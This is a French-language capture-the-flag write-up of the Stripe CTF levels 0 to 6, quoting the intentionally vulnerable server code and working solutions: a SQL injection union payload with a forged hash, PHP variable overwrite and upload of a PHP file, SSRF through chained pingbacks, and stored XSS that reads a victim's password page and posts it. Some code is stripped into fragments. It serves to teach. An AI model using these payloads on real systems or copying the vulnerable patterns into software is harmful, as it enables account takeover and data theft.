====== Level 0 ======
**Enonce**
>We'll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets.
>It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes...
>You can access the Secret Safe at https://level00-1.stripe-ctf.com/user-kfsvkinufw.
>The Safe's code is included below, and can also be obtained via git clone https://level00-1.stripe-ctf.com/user-kfsvkinufw/level00-code.
**Code**
Here's the code for level00.js, the main server file:
Guess the secret combination below, and if you get it right,
you'll get the password to the next level!
// Install dependencies with 'npm install'
// Run as 'node level00.js'
var express = require('express'), // Web framework
mu = require('mu2'), // Mustache.js templating
sqlite3 = require('sqlite3'); // SQLite (database) driver
// Look for templates in the current directory
mu.root = __dirname;
// Set up the DB
var db = new sqlite3.Database('level00.db');
db.run(
'CREATE TABLE IF NOT EXISTS secrets (' +
'key varchar(255),' +
'secret varchar(255)' +
')'
);
// Create the server
var app = express();
app.use(express.bodyParser());
function renderPage(res, variables) {
var stream = mu.compileAndRender('level00.html', variables);
res.header('Content-Type', 'text/html');
stream.pipe(res);
}
app.get('/*', function(req, res) {
var namespace = req.param('namespace');
if (namespace) {
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
if (err) throw err;
renderPage(res, {namespace: namespace, secrets: secrets});
});
} else {
renderPage(res, {});
}
});
app.post('/*', function(req, res) {
var namespace = req.body['namespace'];
var secret_name = req.body['secret_name'];
var secret_value = req.body['secret_value'];
var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
db.run(query, namespace, secret_name, secret_value, function(err) {
if (err) throw err;
res.header('Content-Type', 'text/html');
res.redirect(req.path + '?namespace=' + namespace);
});
});
if (process.argv.length > 2) {
var socket = process.argv[2];
console.log("Starting server on UNIX socket " + socket);
app.listen(socket);
} else {
console.log("Starting server at http://localhost:3000/");
app.listen(3000);
}
And here's the code for level00.html, its mustache.js template:
**Solution**
Pour ajouter un secret, il faut definir le namespace, une cle et une valeur, secret qui sera stocké sous la forme ''key = namespace.cle'' et ''secret = valeur''
{{#secrets}}
Key
Value
{{/secrets}}
{{^secrets}}
{{ key }}
{{ secret }}
{{/secrets}}
You have no secrets stored with us. Try using the form below.
app.post('/*', function(req, res) {
var namespace = req.body['namespace'];
var secret_name = req.body['secret_name'];
var secret_value = req.body['secret_value'];
var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
db.run(query, namespace, secret_name, secret_value, function(err) {
La requete GET pour afficher les secrets requiert un parametre, le namespace et est construite avec
app.get('/*', function(req, res) {
var namespace = req.param('namespace');
if (namespace) {
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
Cette requete affiche donc tous les secrets du namespace passé en argument. Il suffit d'utiliser **%** comme parametre pour afficher tous les secrets de tous les namespaces et donc le mot de passe.
====== Level 1 ======
** Enonce **
>Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you'll be given
>the password to access Level 2! We've been assured that this level has no security vulnerabilities in it
>(and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn't be able to extract the password anyway), so >you'll probably just have to try all the possible combinations. Or will you...?
>
>You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-ntyjkglswi. The code for the Game can be obtained from
>git clone https://level01-2.stripe-ctf.com/user-ntyjkglswi/level01-code, and is also included below.
** Code **
The contents of index.php
Welcome to the Guessing Game!
You've earned the password to the access Level 2:" . " $next
"; } else { echo "Incorrect! The secret combination is not $attempt
"; } } ?> ** Solution ** Le code php prend l'input de la requete GET ''attempt'' en utilisant la methode ''extract(_GET)''. Ensuite le serveur lit le contenu du fichier ''$filename''. Si le parametre ''attempt'' est egal au contenu du fichier ''$filename'', le mot de passe est affiche. L'ordre dans lequel le serveur definit le fichier a lire et le lit est important. En effet, la variable ''$filename'' est initialisee, puis **les** parametres de la requete GET sont lus et finalement le contenu du fichier est lu. En ajoutant a la requete GET un parametre ''filename'', ce parametre va remplacer le contenu de la variable ''$filename'' par le nom de notre fichier. Il ne reste plus qu'a trouver un fichier dont on connait le contenu, par exemple > https://level01-2.stripe-ctf.com/user-ntyjkglswi/?attempt=ref:%20refs/heads/master&filename=https://level01-2.stripe-ctf.com/user-ntyjkglswi/level01-code/HEAD ** Autre solution : ** > https://level01-2.stripe-ctf.com/user-vleajmvjkj/?attempt=&filename=a Le fichier a n'existant pas il suffit de laisser le champ password vide. ====== Level 2 ====== ** Enonce ** >You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, >so we decided to build one for CTF. Please fill out your profile at https://level02-3.stripe-ctf.com/user-zjfpnuykfi. >You may even be able to find the password for Level 3 by doing so. >The code for the Social Network can be obtained from git clone https://level02-3.stripe-ctf.com/user-zjfpnuykfi/level02-code, >and is also included below. ** Code ** The contents of index.php
0) {
echo "Error: " . $_FILES["dispic"]["error"] . "
";
}
else
{
$dest_dir = "uploads/";
$dest = $dest_dir . basename($_FILES["dispic"]["name"]);
$src = $_FILES["dispic"]["tmp_name"];
if (move_uploaded_file($src, $dest)) {
$_SESSION["dispic_url"] = $dest;
chmod($dest, 0644);
echo "Successfully uploaded your display picture.
";
}
}
$url = "https://upload.wikimedia.org/wikipedia/commons/f/f8/" .
"Question_mark_alternate.svg";
if (isset($_SESSION["dispic_url"])) {
$url = $_SESSION["dispic_url"];
}
?>
Welcome to the CTF!
Welcome to the CTF Social Network!
/>
Oh, looks like you don't have a profile image" .
" -- upload one now!";
}
?>
Password for Level 3 (accessible only to members of the club):
password.txt
** Solution **
En cliquant sur le lien contenant le mot de passe, on obtient un 403 Forbidden. L'application permet d'uploader une image pour son profil. En analysant le code source, on s'apercoit qu'il n'y a aucune verification faite par le serveur et que l'on peut uploader n'importe quel fichier qui sera stocke dans le sous-repertoire uploads.
Il suffit donc d'uploader un fichier php qui lira le contenu du fichier password.txt et l'affiche puis de l'appeler directement
====== Level 3 ======
** Enonce **
>After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). >The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.
>A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at >https://level03-1.stripe-ctf.com/user-odmhvomxhm. As usual, you can fetch the code for the level (and some sample data) via git clone >https://level03-1.stripe-ctf.com/user-odmhvomxhm/level03-code, or you can read the code below.
** Code **
The source of the server, secretvault.py, is:
#!/usr/bin/env python
#
# Welcome to the Secret Safe!
#
# - users/users.db stores authentication info with the schema:
#
# CREATE TABLE users (
# id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
# username VARCHAR(255),
# password_hash VARCHAR(255),
# salt VARCHAR(255)
# );
#
# - For extra security, the dictionary of secrets lives
# data/secrets.json (so a compromise of the database won't
# compromise the secrets themselves)
import flask
import hashlib
import json
import logging
import os
import sqlite3
import subprocess
import sys
from werkzeug import debug
# Generate test data when running locally
data_dir = os.path.join(os.path.dirname(__file__), 'data')
if not os.path.exists(data_dir):
import generate_data
os.mkdir(data_dir)
generate_data.main(data_dir, 'dummy-password', 'dummy-proof', 'dummy-plans')
secrets = json.load(open(os.path.join(data_dir, 'secrets.json')))
index_html = open('index.html').read()
app = flask.Flask(__name__)
# Turn on backtraces, but turn off code execution (that'd be an easy level!)
app.config['PROPAGATE_EXCEPTIONS'] = True
app.wsgi_app = debug.DebuggedApplication(app.wsgi_app, evalex=False)
app.logger.addHandler(logging.StreamHandler(sys.stderr))
# use persistent entropy file for secret_key
app.secret_key = open(os.path.join(data_dir, 'entropy.dat')).read()
# Allow setting url_root if needed
try:
from local_settings import url_root
except ImportError:
pass
def absolute_url(path):
return url_root + path
@app.route('/')
def index():
try:
user_id = flask.session['user_id']
except KeyError:
return index_html
else:
secret = secrets[str(user_id)]
return (u'Welcome back! Your secret is: "{0}"'.format(secret) +
u' (Log out)\n')
@app.route('/logout')
def logout():
flask.session.pop('user_id', None)
return flask.redirect(absolute_url('/'))
@app.route('/login', methods=['POST'])
def login():
username = flask.request.form.get('username')
password = flask.request.form.get('password')
if not username:
return "Must provide username\n"
if not password:
return "Must provide password\n"
conn = sqlite3.connect(os.path.join(data_dir, 'users.db'))
cursor = conn.cursor()
query = """SELECT id, password_hash, salt FROM users
WHERE username = '{0}' LIMIT 1""".format(username)
cursor.execute(query)
res = cursor.fetchone()
if not res:
return "There's no such user {0}!\n".format(username)
user_id, password_hash, salt = res
calculated_hash = hashlib.sha256(password + salt)
if calculated_hash.hexdigest() != password_hash:
return "That's not the password for {0}!\n".format(username)
flask.session['user_id'] = user_id
return flask.redirect(absolute_url('/'))
if __name__ == '__main__':
# In development: app.run(debug=True)
app.run()
And here's index.html, the HTML file it's serving:
Welcome to the Secret Safe, a place to guard your most
precious secrets! To retreive your secrets, log in below.
The current users of the system store the following secrets:
- bob: Stores the password to access level 04
- eve: Stores the proof that P = NP
- mallory: Stores the plans to a perpetual motion machine
You should use it too!
Contact us
to request a beta invite.
** Solution **
Le mot de passe est le secret de bob. Il faut donc essayer de se connecter en tant que bob. Si on regarde comment est fait le login
query = """SELECT id, password_hash, salt FROM users
WHERE username = '{0}' LIMIT 1""".format(username)
cursor.execute(query)
res = cursor.fetchone()
if not res:
return "There's no such user {0}!\n".format(username)
user_id, password_hash, salt = res
calculated_hash = hashlib.sha256(password + salt)
if calculated_hash.hexdigest() != password_hash:
return "That's not the password for {0}!\n".format(username)
il y a une requete faite pour voir si l'utilisateur existe dans la bdd et ensuite le hash du mot de passe + salt est compare a la valeur sauvegardee. On ne connait ni le mot de passe de bob, ni le salt, on va donc essayer de modifier la requete SQL pour qu'elle nous rende des valeurs que l'on aura fixees.
Par exemple, on aimerait bien avoir ** a ** comme mot de passe et ** a ** comme salt.
On calcule le hash du mot de passe et du salt
import hashlib
password = 'a'
salt = 'a'
calculated_hash = hashlib.sha256(password + salt)
print calculated_hash.hexdigest()
ce qui nous donne 961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506
Il ne nous reste plus qu'a manipuler la requete SQL pour que le premier resultat (a cause de LIMIT 1) contienne les bonnes valeurs (ie l'id de bob, le password_hash calcule et le salt choisi)
On utilise donc comme utilisateur ** aaa' union select id,"961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506", "a" from users where username = 'bob **
et comme mot de passe
** a **
====== Level 4 ======
** Enonce **
>The Karma Trader is the world's best way to reward people for good deeds: https://level04-2.stripe-ctf.com/user-xuqitemtqa.
>You can sign up for an account, and start transferring karma to people who you think are doing good in the world.
>In order to ensure you're transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.
>The very active user karma_fountain has infinite karma, making it a ripe account to obtain
>(no one will notice a few extra karma trades here and there). The password for karma_fountain's account will give you access to Level 5.
>You can obtain the full, runnable source for the Karma Trader from git clone https://level04-2.stripe-ctf.com/user-xuqitemtqa/level04-code.
>We've included the most important files below.
** Code **
The contents of srv.rb
#!/usr/bin/env ruby
require 'yaml'
require 'set'
require 'rubygems'
require 'bundler/setup'
require 'sequel'
require 'sinatra'
module KarmaTrader
PASSWORD = File.read('password.txt').strip
STARTING_KARMA = 500
KARMA_FOUNTAIN = 'karma_fountain'
# Only needed in production
URL_ROOT = File.read('url_root.txt').strip rescue ''
module DB
def self.db_file
'karma.db'
end
def self.conn
@conn ||= Sequel.sqlite(db_file)
end
def self.init
return if File.exists?(db_file)
File.umask(0066)
conn.create_table(:users) do
primary_key :id
String :username
String :password
Integer :karma
Time :last_active
end
conn.create_table(:transfers) do
primary_id :id
String :from
String :to
Integer :amount
end
# Karma Fountain has infinite karma, so just set it to -1
conn[:users].insert(
:username => KarmaTrader::KARMA_FOUNTAIN,
:password => KarmaTrader::PASSWORD,
:karma => -1,
:last_active => Time.now.utc
)
end
end
class KarmaSrv < Sinatra::Base
set :environment, :production
enable :sessions
# Use persistent entropy file
entropy_file = 'entropy.dat'
unless File.exists?(entropy_file)
File.open(entropy_file, 'w') do |f|
f.write(OpenSSL::Random.random_bytes(24))
end
end
set :session_secret, File.read(entropy_file)
helpers do
def absolute_url(path)
KarmaTrader::URL_ROOT + path
end
end
# Hack to make this work with a URL root
def redirect(url)
super(absolute_url(url))
end
def die(msg, view)
@error = msg
halt(erb(view))
end
before do
refresh_state
update_last_active
end
def refresh_state
@user = logged_in_user
@transfers = transfers_for_user
@trusts_me = trusts_me
@registered_users = registered_users
end
def update_last_active
return unless @user
DB.conn[:users].where(:username => @user[:username]).
update(:last_active => Time.now.utc)
end
def logged_in_user
return unless username = session[:user]
DB.conn[:users][:username => username]
end
def transfers_for_user
return [] unless @user
DB.conn[:transfers].where(
Sequel.or(:from => @user[:username], :to => @user[:username])
)
end
def trusts_me
trusts_me = Set.new
return trusts_me unless @user
# Get all the users who have transferred credits to me
DB.conn[:transfers].where(:to => @user[:username]).
join(:users, :username => :from).each do |result|
trusts_me.add(result[:username])
end
trusts_me
end
def registered_users
KarmaTrader::DB.conn[:users].reverse_order(:id)
end
# KARMA_FOUNTAIN gets all the karma it wants. (Part of why getting
# its password would be so great...)
def user_has_infinite_karma?
@user[:username] == KARMA_FOUNTAIN
end
get '/' do
if @user
erb :home
else
erb :login
end
end
get '/register' do
erb :register
end
post '/register' do
username = params[:username]
password = params[:password]
unless username && password
die("Please specify both a username and a password.", :register)
end
unless username =~ /^\w+$/
die("Invalid username. Usernames must match /^\w+$/", :register)
end
unless DB.conn[:users].where(:username => username).count == 0
die("This username is already registered. Try another one.",
:register)
end
DB.conn[:users].insert(
:username => username,
:password => password,
:karma => STARTING_KARMA,
:last_active => Time.now.utc
)
session[:user] = username
redirect '/'
end
get '/login' do
redirect '/'
end
post '/login' do
username = params[:username]
password = params[:password]
user = DB.conn[:users][:username => username, :password => password]
unless user
die('Could not authenticate. Perhaps you meant to register a new' \
' account? (See link below.)', :login)
end
session[:user] = user[:username]
redirect '/'
end
get '/transfer' do
redirect '/'
end
post '/transfer' do
redirect '/' unless @user
from = @user[:username]
to = params[:to]
amount = params[:amount]
die("Please fill out all the fields.", :home) unless amount && to
amount = amount.to_i
die("Invalid amount specified.", :home) if amount <= 0
die("You cannot send yourself karma!", :home) if to == from
unless DB.conn[:users][:username => to]
die("No user with username #{to.inspect} found.", :home)
end
unless user_has_infinite_karma?
if @user[:karma] < amount
die("You only have #{@user[:karma]} karma left.", :home)
end
end
DB.conn[:transfers].insert(:from => from, :to => to, :amount => amount)
DB.conn[:users].where(:username=>from).update(:karma => :karma - amount)
DB.conn[:users].where(:username=>to).update(:karma => :karma + amount)
refresh_state
@success = "You successfully transfered #{amount} karma to" +
" #{to.inspect}."
erb :home
end
get '/logout' do
session.clear
redirect '/'
end
end
end
def main
KarmaTrader::DB.init
KarmaTrader::KarmaSrv.run!
end
if $0 == __FILE__
main
exit(0)
end
The contents of views/home.erb:
Welcome to Karma Trader!
Home
You are logged in as <%= @user[:username] %>.
Transfer karma
You have <%= @user[:karma] %> karma at the moment. Transfer
karma to people who have done good deeds and you think will keep
doing good deeds in the future.
Note that transferring karma to someone will reveal your
password to them, which will hopefully incentivize you to only
give karma to people you really trust.
If you're anything like karma_fountain, you'll find
yourself logging in every minute to see what new and exciting
developments are afoot on the platform. (Though no need to be as paranoid as
karma_fountain and firewall your outbound network connections
so you can only make connections to the Karma Trader server itself.)
See below for a list of all registered usernames.
Past transfers
From
To
Amount
<% @transfers.each do |transfer| %>
<%= transfer[:from] %>
<%= transfer[:to] %>
<%= transfer[:amount] %>
<% end %>
Registered Users
<% @registered_users.each do |user| %>
<% last_active = user[:last_active].strftime('%H:%M:%S UTC') %>
<% if @trusts_me.include?(user[:username]) %>
-
<%= user[:username] %>
(password: <%= user[:password] %>, last active <%= last_active %>)
<% elsif user[:username] == @user[:username] %>
-
<%= user[:username] %>
(you, last active <%= last_active %>)
<% else %>
-
<%= user[:username] %>
(password: [hasn't yet transferred karma to you],
last active <%= last_active %>)
<% end %>
<% end %>
The contents of views/login.erb:
Welcome to Karma Trader, the best way to reward people for good deeds!
Login
Don't have an account?
Register now!
The contents of views/register.erb:
Welcome to Karma Trader, the best way to reward people for good deeds!
Register
Already have an account? Log in now!
The contents of views/layout.erb:
Karma Trader
<% if @error %>
Error: <%= @error %>
<% end %>
<% if @success %>
Success: <%= @success %>
<% end %>
<%= yield %>
** Solution **
Apres avoir cree un account, on arrive sur la page principale qui affiche une form pour faire des transferts de karma ainsi que la liste des utilisteurs enregistres. Si ces derniers nous ont deja transfere du karma, leur mot de passe est affiche.
Le mot de passe du niveau etant le mot de passe de l'utilisateur karma_fountain, il va falloir le convaincre de nous transferer du karma. Pour y parvenir, on va s'enregistrer avec un mot de passe specialement prepare de maniere a ce que lorsqu'on aura transfere du karma a karma_fountain, notre mot de passe sera affiche sur sa page et cela entrainera un transfert de karma vers notre compte et nous aurons son mot de passe.
Le script doit donc recuperer la forme, remplir les champs et la soumettre
On utilise donc par exemple ** mooh ** comme utilisateur, ce script comme mot de passe, on transfere 1 karma karma_fountain et on attend qu'il se connecte.
====== Level 5 ======
** Enonce **
>Many attempts have been made at creating a federated identity system for the web (see OpenID, for example).
>However, none of them have been successful. Until today.
>The DomainAuthenticator is based off a novel protocol for establishing identities.
>To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials
>to the pingback URL, which returns either "AUTHENTICATED" or "DENIED". If "AUTHENTICATED", the site considers you signed in
>as a user for the pingback domain.
>You can check out the Stripe CTF DomainAuthenticator instance here: https://level05-2.stripe-ctf.com/user-afhnkxzjxh.
>We've been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine...
>To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access.
>It can only make outbound requests to other stripe-ctf.com servers. Though, you've heard that someone forgot to internally firewall
>off the high ports from the Level 2 server.
>Interesting in setting up your own DomainAuthenticator? You can grab the source from
>git clone https://level05-2.stripe-ctf.com/user-afhnkxzjxh/level05-code, or by reading on below.
** Code **
The contents of srv.rb
#!/usr/bin/env ruby
require 'rubygems'
require 'bundler/setup'
require 'logger'
require 'uri'
require 'restclient'
require 'sinatra'
$log = Logger.new(STDERR)
$log.level = Logger::INFO
module DomainAuthenticator
class DomainAuthenticatorSrv < Sinatra::Base
set :environment, :production
# Run with the production file on the server
if File.exists?('production')
PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/
ALLOWED_HOSTS = /\.stripe-ctf\.com$/
else
PASSWORD_HOSTS = /^localhost$/
ALLOWED_HOSTS = //
end
PASSWORD = File.read('password.txt').strip
enable :sessions
# Use persistent entropy file
entropy_file = 'entropy.dat'
unless File.exists?(entropy_file)
File.open(entropy_file, 'w') do |f|
f.write(OpenSSL::Random.random_bytes(24))
end
end
set :session_secret, File.read(entropy_file)
get '/*' do
output = <
Welcome to the Domain Authenticator. Please authenticate as a user from
your domain of choice.
EOF
user = session[:auth_user]
host = session[:auth_host]
if user && host
output += " You are authenticated as #{user}@#{host}.
"
if host =~ PASSWORD_HOSTS
output += " Since you're a user of a password host and all,"
output += " you deserve to know this password: #{PASSWORD}
"
end
end
output
end
post '/*' do
pingback = params[:pingback]
username = params[:username]
password = params[:password]
pingback = "http://#{pingback}" unless pingback.include?('://')
host = URI.parse(pingback).host
unless host =~ ALLOWED_HOSTS
return "Host not allowed: #{host}" \
" (allowed authentication hosts are #{ALLOWED_HOSTS.inspect})"
end
begin
body = perform_authenticate(pingback, username, password)
rescue StandardError => e
return "An unknown error occurred while requesting #{pingback}: #{e}"
end
if authenticated?(body)
session[:auth_user] = username
session[:auth_host] = host
return "Remote server responded with: #{body}." \
" Authenticated as #{username}@#{host}!"
else
session[:auth_user] = nil
session[:auth_host] = nil
sleep(1) # prevent abuse
return "Remote server responded with: #{body}." \
" Unable to authenticate as #{username}@#{host}."
end
end
def perform_authenticate(url, username, password)
$log.info("Sending request to #{url}")
response = RestClient.post(url, {:password => password,
:username => username})
body = response.body
$log.info("Server responded with: #{body}")
body
end
def authenticated?(body)
body =~ /[^\w]AUTHENTICATED[^\w]*$/
end
end
end
def main
DomainAuthenticator::DomainAuthenticatorSrv.run!
end
if $0 == __FILE__
main
exit(0)
end
** Solution **
On a un formulaire avec 3 champs, l'url pour le pingback, le username et le password. L'application va faire une requete au serveur dont l'url a ete donnee et en fonction du resultat, l'utilisateur sera authentifie sur ce serveur.
PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/
ALLOWED_HOSTS = /\.stripe-ctf\.com$/
On remarque que seuls les serveurs sur ''stripe-ctf.com'' sont permis. L'indice avec les high ports du serveur 2 est en fait un faux indice. C'est juste pour nous rappeler qu'il est possible d'uploader des fichiers sur ce serveur.
Pour etre authentifie, la reponse du serveur doit verifier:
def authenticated?(body)
body =~ /[^\w]AUTHENTICATED[^\w]*$/
end
Si on upload le fichier suivant
et on l'utilise directement comme adresse de pingback (https://level02-3.stripe-ctf.com/user-zjfpnuykfi/uploads/test3.php), l'application nous dit qu'on est bien authentifie. Malheureusement le mot de passe ne s'affiche pas car on est authentifie sur le serveur 02 et non 05
output += " You are authenticated as #{user}@#{host}.
"
if host =~ PASSWORD_HOSTS
output += " Since you're a user of a password host and all,"
output += " you deserve to know this password: #{PASSWORD}
"
end
Il faut donc que l'url du pingback serveur commence par level05. Et comme l'a fait remarque Mortis, en ruby params lit les parametre GET et POST. En utilisant comme url https://level05-2.stripe-ctf.com/user-afhnkxzjxh/?pingback=https://level02-3.stripe-ctf.com/user-zjfpnuykfi/uploads/test3.php, l'application va faire un double pingback. Il faut donc que la premiere requete vers le serveur 02 verifie la regex ''body =~ /[^\w]AUTHENTICATED[^\w]*$/''. La reponse est de la forme: ''Server responded with: AUTHENTICATED ...''. Si on utilise le meme fichier, lors du second pingback, la reponse ne verifie plus la condition ''body =~ /[^\w]AUTHENTICATED[^\w]*$/'' a cause du ''Server responded with'' sur la meme ligne. Il faut donc modifier le fichier php pour que cette condition soit aussi verifiee. En utilisant
les 2 reponses des 2 pingbacks sont valides et l'application nous dit qu'on est authentifie sur le serveur 05 et affiche le mot de passe
====== Level 6 ======
** Enonce **
>After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-fgdshrgpxf
>The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you've learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.
>As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.
>Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at git clone https://level06-2.stripe-ctf.com/user-fgdshrgpxf/level06-code. We've also included the most important files below.
** Code **
The contents of srv.rb
#!/usr/bin/env ruby
require 'rubygems'
require 'bundler/setup'
require 'rack/utils'
require 'rack/csrf'
require 'json'
require 'sequel'
require 'sinatra'
module Streamer
PASSWORD = File.read('password.txt').strip
# Only needed in production
URL_ROOT = File.read('url_root.txt').strip rescue ''
module DB
def self.db_file
'streamer.db'
end
def self.conn
@conn ||= Sequel.sqlite(db_file)
end
def self.safe_insert(table, key_values)
key_values.each do |key, value|
# Just in case people try to exfiltrate
# level07-password-holder's password
if value.kind_of?(String) &&
(value.include?('"') || value.include?("'"))
raise "Value has unsafe characters"
end
end
conn[table].insert(key_values)
end
def self.init
return if File.exists?(db_file)
File.umask(0066)
conn.create_table(:users) do
primary_key :id
String :username
String :password
Time :last_active
end
conn.create_table(:posts) do
primary_id :id
String :user
String :title
String :body
Time :time
end
conn[:users].insert(:username => 'level07-password-holder',
:password => Streamer::PASSWORD,
:last_active => Time.now.utc)
conn[:posts].insert(:user => 'level07-password-holder',
:title => 'Hello World',
:body => "Welcome to Streamer, the most streamlined way of sharing
updates with your friends!
One great feature of Streamer is that no password resets are needed. I, for
example, have a very complicated password (including apostrophes, quotes, you
name it!). But I remember it by clicking my name on the right-hand side and
seeing what my password is.
Note also that Streamer can run entirely within your corporate firewall. My
machine, for example, can only talk directly to the Streamer server itself!",
:time => Time.now.utc)
end
end
class StreamerSrv < Sinatra::Base
set :environment, :production
enable :sessions
# Use persistent entropy file
entropy_file = 'entropy.dat'
unless File.exists?(entropy_file)
File.open(entropy_file, 'w') do |f|
f.write(OpenSSL::Random.random_bytes(24))
end
end
set :session_secret, File.read(entropy_file)
use Rack::Csrf, :raise => true
helpers do
def absolute_url(path)
Streamer::URL_ROOT + path
end
# Insert an hidden tag with the anti-CSRF token into your forms.
def csrf_tag
Rack::Csrf.csrf_tag(env)
end
# Return the anti-CSRF token
def csrf_token
Rack::Csrf.csrf_token(env)
end
# Return the field name which will be looked for in the requests.
def csrf_field
Rack::Csrf.csrf_field
end
include Rack::Utils
alias_method :h, :escape_html
end
def redirect(url)
super(absolute_url(url))
end
before do
@user = logged_in_user
update_last_active
end
def logged_in_user
if session[:user]
@username = session[:user]
@user = DB.conn[:users][:username => @username]
end
end
def update_last_active
return unless @user
DB.conn[:users].where(:username => @user[:username]).
update(:last_active => Time.now.utc)
end
def recent_posts
# Grab the 5 most recent posts
DB.conn[:posts].reverse_order(:time).limit(5).to_a.reverse
end
def registered_users
DB.conn[:users].reverse_order(:id)
end
def die(msg, view)
@error = msg
halt(erb(view))
end
get '/' do
if @user
@registered_users = registered_users
@posts = recent_posts
erb :home
else
erb :login
end
end
get '/register' do
erb :register
end
post '/register' do
username = params[:username]
password = params[:password]
unless username && password
die("Please specify both a username and a password.", :register)
end
unless DB.conn[:users].where(:username => username).count == 0
die("This username is already registered. Try another one.",
:register)
end
DB.safe_insert(:users,
:username => username,
:password => password,
:last_active => Time.now.utc
)
session[:user] = username
redirect '/'
end
get '/login' do
redirect '/'
end
post '/login' do
username = params[:username]
password = params[:password]
user = DB.conn[:users][:username => username, :password => password]
unless user
die('Could not authenticate. Perhaps you meant to register a new' \
' account? (See link below.)', :login)
end
session[:user] = user[:username]
redirect '/'
end
get '/logout' do
session.clear
redirect '/'
end
get '/user_info' do
@password = @user[:password]
erb :user_info
end
before '/ajax/*' do
halt(403, 'Must be logged in!') unless @user
end
get '/ajax/posts' do
recent_posts.to_json
end
post '/ajax/posts' do
msg = create_post
resp = {:response => msg}
resp.to_json
end
# Fallback if JS breaks
get '/posts' do
redirect '/'
end
post '/posts' do
create_post if @user
redirect '/'
end
def create_post
post_body = params[:body]
title = params[:title] || 'untitled'
if post_body
DB.safe_insert(:posts,
:user => @user[:username],
:title => title,
:body => post_body,
:time => Time.now.utc
)
'Successfully added the post!'
else
'No post body given!'
end
end
end
end
def main
Streamer::DB.init
Streamer::StreamerSrv.run!
end
if $0 == __FILE__
main
exit(0)
end
The contents of views/home.erb
Stream of Posts
Users Online
<% @registered_users.each do |user| %>
<% if @username == user[:username] %>
<%=h user[:username] %> (me)i
<% else %>
<%=h user[:username] %>
<% end %>
Last active: <%= user[:last_active].strftime('%H:%M:%S UTC') %>
<% end %>
The contents of views/login.erb
Login
Sign into your Streamer account, and instantly start sharing updates
with your friends. If you don't have an account yet,
create one now!
The contents of views/register.erb
Register for a Streamer account
The contents of views/layout.erb
Streamer
' />
<% if @error %>
Error: <%= @error %>
<% end %>
<% if @success %>
Success: <%= @success %>
<% end %>
<%= yield %>
The contents of views/user_info.erb
User Information
Username:
<%= @username %>
Password:
<%= @password %>
** Solution **
Une fois enregistre, la page principale contient une liste de posts et la liste des utilisateurs en ligne. L'utilisateur peut ajouter des nouveaux posts et cliquer sur son nom. Ceci ouvrira la page ''user_info'' qui contient le username et le password.
Comme pour l'epreuve du karma, l'idee est de forger un post de maniere a ce que quand celui-ci sera affiche par l'utilisateur level07-password-holder, les donnees de la page ''user_info'' seront lues et directement postees.
Voila un exemple de script que l'on pourrait utiliser
$(function()
{
$(window).bind('load', function()
{
function httpGet(theUrl)
{
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}
value = httpGet("https://level06-2.stripe-ctf.com/user-fgdshrgpxf/user_info")
output = "";
for(i=0; i
On remarque l'utilisation de ''$(window).bind('load', function()'' car il faut attendre que la page soit entierement chargee avant de pouvoir utiliser le formulaire.
On encode aussi le resultat de la requete GET car sinon il y a des problemes d'encodage quand on cree un post avec le contenu html.
Il ne reste plus qu'a trouver un endroit ou on peut injecter notre code.
Et c'est dans le username. Si on essaie de mettre le script entier dans le username, il y a une erreur au niveau du serveur, on va donc l'encoder egalement, ce qui donne
On cree ensuite un post quelconque et on attend que l'utilisateur 07 se connecte et on recupere son post
